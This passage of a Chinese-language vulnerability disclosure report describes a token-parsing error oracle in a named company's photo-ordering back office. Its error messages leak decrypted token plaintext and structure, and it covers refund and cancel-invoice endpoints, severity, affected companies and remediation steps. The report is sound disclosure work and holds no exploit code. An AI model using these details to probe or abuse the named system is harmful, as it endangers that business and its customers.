後端會依不同的 token 回傳不同錯誤訊息,且錯誤訊息中洩漏:

  • 內部 token 驗證流程
  • 解密失敗的明文殘片或解密後明文,如以下:
  pure|<UUID>|<OrderID>
  admin|<UUID>|<OrderID>
  gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/origin_<OrderID>_<Numbers>.jpg
  gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/final_<OrderID>_<Numbers>.jpg
  gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_origin_<OrderID>_<Numbers>.jpg
  gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_final_<OrderID>_<Numbers>.jpg

這表示不同端點或用途的 token 共用相同或相似的解密流程;共用流程本身不必然構成漏洞,問題在於錯誤訊息暴露了解密後內容與內部處理階段。

錯誤訊息 解密後,資料數量不是pure! 顯示,後端至少在完成部分解密或解析後,才判斷 token 是否適用於此端點或操作。

但後端應先驗證 token 的完整性與真實性,驗證成功後再解析內容,並於執行操作前確認其用途與授權。


6. 影響(Impact)

此問題會使 token 的解析與驗證流程形成可觀察的差異化 token 解析錯誤 oracle,攻擊者可透過不同 token 變體區分解碼的各內部階段,並取得錯誤訊息回傳的解密後明文。

可能造成的風險包括:

  1. 差異化 token 解析錯誤 oracle 風險
    攻擊者可透過差異化錯誤訊息推測 token 格式、解碼流程、block 長度與邊界、解密後資料結構與驗證順序。

  2. 明文與內部資料結構外洩
    錯誤訊息回顯解密後明文殘片或完整內容,並額外洩漏原始 token 取得端點未直接顯示的 UUID、Date 等資訊,以及 token 的內部資料結構。

  3. 潛在 token 濫用與權限繞過風險
    若其它端點對 token 的驗證規則不一致、保護機制不足或透露過多資訊,攻擊者可能進一步嘗試將原本僅適用於特定功能的 token 用於其它操作;但本報告尚未證實可藉此繞過授權、跨訂單操作或完成其它敏感操作。


7. 可能的根本原因(Likely Root Cause)

問題可能是 後端在 token 解析失敗時回傳過多錯誤細節,導致內部解析流程與解密後內容外洩。

可能原因包括:

  1. 錯誤訊息可被明顯區分,並直接回傳解析階段、解密失敗的明文殘片或完整解密後內容。

  2. 不同用途 token 可進入相同或相容的流程,並在後續 TYPE 檢查時回傳解密後內容。

  3. 敏感操作端點(例如 refund、cancel-invoice)主要依賴前端傳入的 OrderID 與 token 組合,且未充分驗證 session、role、site、action、order state 等授權條件。


8. 嚴重性評估(Severity Assessment)

中風險(Medium)

理由:

  • 問題發生在後台管理系統,且受影響端點包含 refund、cancel-invoice 等敏感營運操作端點。
  • 不同用途 token 可進入相同或相容的解析流程,錯誤訊息會暴露內部處理階段、解密後資料結構,以及原始 token 取得端點未直接顯示的 UUID、Date 等資訊。
  • 目前證實的影響以有限的機密性損失為主,尚未證實完整性或可用性受到影響。
  • 未能偽造有效 token,未能取得 encryption key 進行偽造 token。
  • 未能透過此方式繞過驗證以完成退款或作廢發票。

9. 補充說明(Researcher Note)

  1. 本報告之測試僅限確認漏洞存在,未進行批次化、大量化或自動化操作,也未進行破壞性操作。

  2. 由於此系統與技術牽涉到三家公司-台灣公司為誠和國際股份有限公司(https://www.seiwainc.com.tw/)與悟空科技股份有限公司(https://www.goqoo.com/),日本公司為株式会社喜喜(https://jp.diyidphoto.com/)。就可見資料顯示(https://twincn.com/84108618、https://www.twincn.com/80682392、https://jp.diyidphoto.com/lawOfPayment),三間公司經營者高度相關。但目前無法確定哪間公司統籌系統、技術與網站走向,並且問題可牽涉到跨國站點,因此建議同時聯絡三間公司。

以下是三間公司之相關信箱:

誠和國際:[email protected]
悟空科技:[email protected]
DIY證件照-台灣站(悟空科技):[email protected]
DIY證件照-日本站(株式会社喜喜):[email protected]

修補建議

## 修補建議(Remediation Suggestions)

1. **不同用途 token 應明確綁定用途**

每個 token 應綁定目的或端點,並確保用途欄位受到完整性保護;不一定需要使用不同格式。綁定內容可參考以下:

```text
purpose / type
endpoint
action
order_id
user_id / role
site / diy_type
expiry
nonce / jti
```

2. **在使用解密內容前完成完整性與用途驗證**

不同 token 類型可透過不同金鑰、版本前綴或經驗證的用途欄位進行隔離。若用途欄位位於加密內容中,應先完成完整性驗證與解密,再於執行操作前確認其用途與授權。

3. **使用具完整性保護的 token 格式**

建議使用兼具加密與驗證功能的 token 格式。後端應先驗證 token 的完整性與真實性,驗證成功後再解析內容,並於執行操作前確認其用途、有效期與授權。

4. **統一錯誤訊息**

所有 token 驗證失敗的情況,對外都應回傳相同的錯誤訊息,例如 `invalid token`。

5. **敏感操作應有獨立授權檢查**

`refund`、`cancel-invoice` 等端點應另外檢查:

- 該敏感端點之操作者是否經授權進行操作。
- 該訂單是否屬於可操作範圍。
- 該操作是否符合目前業務狀態。
- 是否要有審計紀錄、二次確認、後台操作紀錄或速率限制。

6. **加入迴歸測試(Regression Testing)以避免問題再次發生**

修補後,應持續測試各種錯誤或混用情境,檢查是否有其它端點 / token 也有此類問題,並確認所有異常情況都只回傳一致的錯誤訊息,不洩漏內部資訊。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;